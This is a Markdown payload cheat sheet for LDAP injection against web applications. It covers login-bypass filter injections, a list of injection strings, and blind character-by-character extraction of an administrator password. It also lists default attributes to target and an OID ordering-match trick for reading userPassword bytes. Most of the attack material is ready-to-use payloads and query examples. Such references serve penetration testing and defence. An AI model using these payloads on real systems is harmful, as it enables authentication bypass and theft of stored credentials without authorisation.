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104 lines
2.6 KiB
Markdown
104 lines
2.6 KiB
Markdown
# LDAP injection
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LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
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## Exploitation
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Example 1.
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```sql
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user = *)(uid=*))(|(uid=*
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pass = password
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query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
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```
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Example 2
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```sql
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user = admin)(!(&(1=0
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pass = q))
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query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
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```
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## Payloads
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```text
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*
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*)(&
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*))%00
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)(cn=))\x00
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*()|%26'
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*()|&'
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*(|(mail=*))
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*(|(objectclass=*))
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*)(uid=*))(|(uid=*
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*/*
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*|
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/
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//
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//*
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@*
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admin*
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admin*)((|userpassword=*)
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admin*)((|userPassword=*)
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x' or name()='username' or 'x'='y
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```
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## Blind Exploitation
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We can extract using a bypass login
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```sql
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(&(sn=administrator)(password=*)) : OK
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(&(sn=administrator)(password=A*)) : KO
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(&(sn=administrator)(password=B*)) : KO
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...
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(&(sn=administrator)(password=M*)) : OK
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(&(sn=administrator)(password=MA*)) : KO
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(&(sn=administrator)(password=MB*)) : KO
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...
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(&(sn=administrator)(password=MY*)) : OK
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(&(sn=administrator)(password=MYA*)) : KO
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(&(sn=administrator)(password=MYB*)) : KO
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(&(sn=administrator)(password=MYC*)) : KO
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...
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(&(sn=administrator)(password=MYK*)) : OK
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(&(sn=administrator)(password=MYKE)) : OK
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```
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## Defaults attributes
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Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
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```bash
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userPassword
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surname
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name
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cn
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sn
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objectClass
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mail
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givenName
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commonName
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```
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## Exploiting userPassword attribute
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`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
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In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
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> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
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```bash
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userPassword:2.5.13.18:=\xx (\xx is a byte)
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userPassword:2.5.13.18:=\xx\xx
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userPassword:2.5.13.18:=\xx\xx\xx
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```
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## References
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* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
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* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
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* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
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* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/) |